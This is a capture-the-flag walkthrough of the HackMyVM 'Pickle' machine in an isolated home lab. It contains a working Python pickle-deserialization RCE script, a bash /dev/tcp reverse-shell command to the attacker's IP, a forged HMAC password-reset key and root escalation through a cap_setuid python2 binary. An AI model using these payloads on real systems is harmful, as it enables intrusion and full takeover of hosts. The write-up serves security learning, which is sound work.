HackMyVM | Pickle

In this walkthrough, I demonstrate how I obtained complete ownership of Pickle from HackMyVM
In: HackMyVM, Attack, CTF, Home Lab, Linux, Hard Challenge
ℹ️
I keep all of my distrusted hosts from platforms like HackMyVM on a segmented VLAN -- 10.9.9.0/24 -- that has no internet access

Nmap Results

# Nmap 7.95 scan initiated Wed Jan  8 14:12:39 2025 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.9.9.13
Nmap scan report for 10.9.9.13
Host is up (0.00044s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.6.9
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x    1 0        0            1306 Oct 12  2020 init.py.bak
1337/tcp open  http    Werkzeug httpd 1.0.1 (Python 2.7.16)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/1.0.1 Python/2.7.16
| http-auth: 
| HTTP/1.0 401 UNAUTHORIZED\x0D
|_  Basic realm=Pickle login
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan  8 14:12:51 2025 -- 1 IP address (1 host up) scanned in 12.57 seconds
💡
Don't miss an opportunity to find some breadcrumbs and interesting information in the initial nmap scan output, as we can see the Anonymous FTP login allowed, which we should pursue immediately. We can also see Pickle login in the HTTP output, suggesting a possible login form.
# Nmap 7.95 scan initiated Wed Jan  8 14:12:39 2025 as: /usr/lib/nmap/nmap -Pn -sU -sV -T3 --top-ports 25 -oN udp-nmap-scan.txt 10.9.9.13
Nmap scan report for 10.9.9.13
Host is up (0.00076s latency).

PORT      STATE         SERVICE      VERSION
68/udp    open|filtered dhcpc
161/udp   open          snmp         SNMPv1 server; net-snmp SNMPv3 server (public)
631/udp   open|filtered ipp
5353/udp  open|filtered zeroconf
Service Info: Host: pickle

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan  8 14:14:42 2025 -- 1 IP address (1 host up) scanned in 123.34 seconds
💡
I always kick off a UDP scan at the same time as my TCP scan, so that I can have that info available sooner rather than later. SNMP being open on the box is of immediate interest as well.





Service Enumeration

UDP/161

A quick validation shows that the port is indeed open
Enumerating SNMP Commu... | 0xBEN | Notes
TARGET=‘TARGET_IP_ADDRESS_HERE’ snmpwalk -c public -v1 ”$TARGET” . > snmpwalk.txt grep ’[^Hex-]STR…
snmpwalk -c public -v1 10.9.9.13 . > snmpwalk.txt
Silly lucas... SSH is not open on the box (at least not public-facing), so next best thing is to test it with FTP



TCP/21

Test Anonymous Login First

We can anonymously login and we have access to some source code
In my testing, I was unable to put files as the anonymous user



Test Login as Lucas

No luck, let's keep in our pocket for the web server, as there appears to be a web login in the nmap output (as noted previously).



Source Code Analysis

💡
In Python -- pickling is the method to serialize and deserialize data. In computer programming, serialization is the way to "flatten" objects into raw data and transmit it to some processor where it will be deserialized -- or "unflattened" -- and processed by the program.

There are security implications with data serialization and deserialization, as the data is processed in memory, which can lead to arbitrary code execution if the correct precautions are not taken.

Stepping through the rest of the code, the process goes as follows:

  • @app.route('/checklist', methods=["GET", "POST"])
    • if request.method == "POST" and request.form["check"]:
      • If we make a HTTP POST request to /checklist and the request form contains the check data, then...
        • path_page = "/opt/project/uploads/%s.log" %(request.form["check"]) — initialize the path_page variable with our input from check
        • open_page = open(path_page, "rb").read() — attempt to read the file contents
        • if "p1" in open_page: — if the page contents contains p1
          • open_page = pickle.loads(open_page) — deserialize the data on the page

We'll need to walk through the application to get a better understanding of how to abuse this feature.



TCP/1337

HTTP basic auth... This is probably where the login for lucas comes in
Logged in as lucas

Walking the Application

Walking the “happy path” · Pwning OWASP Juice Shop
ℹ️
While we do have the source code for the app, before we get ahead of ourselves and start spraying payloads at the application, we should try using the application with some benign inputs to get an understanding of how everything works.
Clicking "Check" in the navbar throws an error
As does "Reset"
This aspect of the web app seems to work fine
At this point, we've tested all of the clickable areas and input points that a normal user would be expected to use. Thus, we have concluded the initial walk of the application, and should go back and review our Burp / proxy request history as an initial first step to uncover potential findings.



Penetration Testing

During the initial walking of the application, we witnessed some errors which directly align with what's in the server source code. The return "Server Error!" statement is triggered, as we've issued HTTP GET requests instead of HTTP POST requests with the required data.



Reset Form

Testing in Burp Repeater

We find that with the correct inputs, the page is rendered. However, we have a potential username, but no key.



Checklist

Above is the source code for the "Submit" form on the main page. Whatever we type in the text box is going to go through the following process:

  1. Take the user input and hash to MD5
  2. Take the MD5 hash and use this as the file name
  3. Write the user input to /opt/project/uploads/<MD5_HASH>.log

In order to abuse the deserialization, we'll need to do the following:

  1. Serialize a Python payload using the pickle module
  2. Hash the data to MD5 locally, so we know which file it is written to
  3. Input that data into the form
  4. Send a HTTP POST request to /checklist with our filename in the check parameter
Python Pickle RCE | Exploit Notes
The python “pickle” module, that serializes and deserializes a Python object, is vulnerable to remote code execution. If the website uses this module, we may be able to execute arbitrary code.

We're going to use this script for inspiration



Trial and Error
nano pwn.py
💡
Read the comments in the source code for any needed clarification
import pickle
import base64
import os
import hashlib
import requests

# RCE Payload
class RCE:
    def __reduce__(self):
        cmd = ('ping -c 3 10.6.6.9')
        return os.system, (cmd,)

# Variables
base_url = 'http://10.9.9.13:1337' # Change to your target
checklist_url = base_url + "/checklist"
headers = { 'Authorization': 'Basic bHVjYXM6U3VwZXJTZWNyZXRQYXNzd29yZDEyMyE=' } # Auth as lucas
proxies = { 'http': 'http://127.0.0.1:8080' } # Send requests through Burp
pickled_data = pickle.dumps(RCE()) # Store the pickled data in a variable
md5sum = hashlib.md5(pickled_data).hexdigest() # Get the MD5 checksum of the pickled data

# Contrary to the payload here: https://exploit-notes.hdks.org/exploit/web/framework/python/python-pickle-rce/
# We do not want to base64-encode the data
# Rather, we will send the pickled object as a raw byte stream in the "story" key
story_data = { # Request data for story submission
    'story': pickled_data,
    'submit': '1'
}
check_data = { # Request data for reading log file
    'check': md5sum # Uses the MD5 checksum value from above
}

if __name__ == '__main__':

    print('Sending pickled data as story...')
    story_response = requests.post(base_url, data=story_data, headers=headers, proxies=proxies)

    if story_response.status_code == 200:
        print(f'Payload submitted! Requesting log file')
        check_response = requests.post(checklist_url, data=check_data, headers=headers, proxies=proxies)
        print(check_response.text)
    else:
        # Add here for debugging purposes for anything other than 200 code
        print(story_response.status_code)
        print(story_response.text)

Ping test to my Kali IP

python3 pwn.py
HTTP 500 with the response body
💡
The Flask server appears to be using python2.7, which is probably causing the issue with deserialization seen here. We'll have use python2 to execute the script.



More Trial and Error

The print() function in Python 2 does not have a f'' string formatter, so that needs to be removed from the script.
sed -i 's/print(f'"'"'/print('"'"'/g' pwn.py
Better! The server responded HTTP 200, triggering the request for the log file, but the server doesn't know what to do with the RCE class we passed in.
Python-Pickle-RCE-Exploit/Pickle-PoC.py at main · CalfCrusher/Python-Pickle-RCE-Exploit
Python Pickle RCE Exploit + vulnerable Flask App. Contribute to CalfCrusher/Python-Pickle-RCE-Exploit development by creating an account on GitHub.

I'll try the pickle PoC here...

class RCE:
    def __reduce__(self):
        cmd = ('ping -c 3 10.6.6.9')
        import os
        return os.system, (cmd,)

Before

class RCE(object):
    def __reduce__(self):
        import os
        command = 'ping -c 3 10.6.6.9'
        return (os.system,(command,))

After

Nice! We got remote code execution!





Exploit

Reverse Shell

sudo rlwrap nc -lvnp 443

Start a TCP listener to catch the reverse shell

command = "bash -c 'bash -i >& /dev/tcp/10.6.6.9/443 0>&1'"

Update the payload

Got a shell as lucas





Post-Exploit Enumeration

Operating Environment

OS & Kernel

Linux pickle 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64 GNU/Linux

cat /etc/os*
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"    

Current User

gid=1000(lucas) groups=1000(lucas),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)

bash: sudo: command not found    



Users and Groups

Local Users

lucas:x:1000:1000:lucas,,,:/home/lucas:/bin/bash
mark:x:1001:1001::/home/mark:/bin/bash    

Local Groups

cdrom:x:24:lucas
floppy:x:25:lucas
audio:x:29:lucas
dip:x:30:lucas
video:x:44:lucas
plugdev:x:46:lucas
netdev:x:109:lucas
bluetooth:x:111:lucas
lpadmin:x:115:lucas
scanner:x:116:saned,lucas
lucas:x:1000:
mark:x:1001:    



Network Configurations

Network Interfaces

ens18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether bc:24:11:0f:40:73 brd ff:ff:ff:ff:ff:ff
    inet 10.9.9.13/24 brd 10.9.9.255 scope global dynamic ens18
       valid_lft 4553sec preferred_lft 4553sec
    inet6 fe80::be24:11ff:fe0f:4073/64 scope link 
       valid_lft forever preferred_lft forever    



Processes and Services

Interesting Processes

    



Scheduled Tasks

Interesting Scheduled Tasks

crontab -l
@reboot python /opt/project/project.py    



Interesting Files

/opt/project/project.py

@app.route('/reset', methods=["GET", "POST"])
@requires_auth
def reset_page():
        '''
                __reset_page__()
        '''
        if request.method == "POST" and request.form["username"] and request.form["key"]:
                key    = "dpff43f3p214k31301"
                raw    = request.form["username"] + key + socket.gethostbyname(socket.gethostname())
                hashed = hmac.new(key, raw, hashlib.sha1)
                if request.form["key"] == hashed.hexdigest():
                        return base64.b64encode(hashed.digest().encode("base64").rstrip("\n"))
        else:
                return "Server Error!"
        return render_template("reset.html"    





Privilege Escalation

Abusing the Password Reset Form

💡
During the post-exploit enumeration process, one of the first things I do is inspect the files of the app on which I got my reverse shell. Since I got my reverse shell abusing the Python pickle exploit on the web server, I begin looking in /opt/project/ for things like passwords, secrets, and other interesting configurations.

Before, we found the /reset form on the web app, but did not have the correct key. So, now let's give it a try with the correct information.

A Little Bit of Reverse Engineering

The cron job starts project.py with python2.7.16
                key    = "dpff43f3p214k31301"
                raw    = request.form["username"] + key + socket.gethostbyname(socket.gethostname())
                hashed = hmac.new(key, raw, hashlib.sha1)

This is where the magic happens when determining the actual key value

>>> import socket
>>> import hashlib
>>> import hmac
Import the required modules
>>> key    = "dpff43f3p214k31301"

Store the key in the variable for easy reference

>>> raw    = 'lucas' + key + socket.gethostbyname(socket.gethostname())

Just test with lucas for now

>>> hashed = hmac.new(key, raw, hashlib.sha1)

Calculate the HMAC based on the provided inputs and store in hashed

💡
The condition we need to satisfy is if request.form["key"] == hashed.hexdigest():, so let's print(hashed.hexdigest()) to see the expected input server side
>>> print(hashed.hexdigest())
So, the expected key is 6bb5dad2ea753fdd1fc40a6b51678f88bf9f8cbc
curl -s -i -X POST -x http://127.0.0.1:8080 \
-H 'Authorization: Basic bHVjYXM6U3VwZXJTZWNyZXRQYXNzd29yZDEyMyE=' \
-F 'username=lucas' -F 'key=6bb5dad2ea753fdd1fc40a6b51678f88bf9f8cbc' -F 'submit=1' http://10.9.9.13:1337/reset

Let's use the expected inputs and make a request to the server

Nice! We got something different this time.
⚠️
Trying to decode this data from base64 results in garbage, because we've essentially just hashed lucas + key + hostnam to sha1. We've satisfied the condition key == hashed.hexdigest() and the server returns this value encoded in base64: return base64.b64encode(hashed.digest().encode("base64").rstrip("\n")).

Since this is the value the server sends back in the return statement, we'll assume this is the password reset value.



Testing the Login

You can see the first attempt succeeds, because we don't get a su: Authentication failure error
Now, we just repeat the process for mark (not sure if we'll get lucky with root).



Lateral to Mark

The password from the reset did not work for root but it worked just fine for mark. so onward and upward from here
💡
From here, we repeat the post-exploit enumeration process, checking for readable files, processes, cron jobs, and more that weren't accessible to lucas
Seeing the python2 binary out of place here, and owned by root, in /home/mark is interesting. It's not a SUID binary, so remains to be seen if we'll be able to abuse that.
I tried looking for SUID files and find with -writable set, but didn't find anything extra. Following my methodology, my hypothesis earlier about the python2 binary being in a weird place was well-founded.
💡
It's pretty obvious what this capability allows the binary to do, but here is a really nice resource on Linux capabilities nonetheless: https://linux-audit.com/kernel/capabilities/overview/



Becoming Root

The cap_setuid+ep capability on /home/mark/python2 allows the python2 process to set the UID during runtime, effectively allowing us to temporarily become any user while running a Python script. So the order of operations goes something like this:

  1. Execute script
  2. Script sets the UID
  3. We become root temporarily
  4. We perform a privileged operation

Set SUID Bit on Bash

/home/mark/python2 -c 'import os; os.setuid(0); os.system("chmod u+s /bin/bash")'
/bin/bash -ip



Spawn Shell as Root

/home/mark/python2 -c 'import os; os.setuid(0); os.system("sh -ip")'



Flags

User

e25fd1b9248d1786551e3412adc74f6f    

Root

7a32c9739cc63ed983ae01af2577c01c    
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.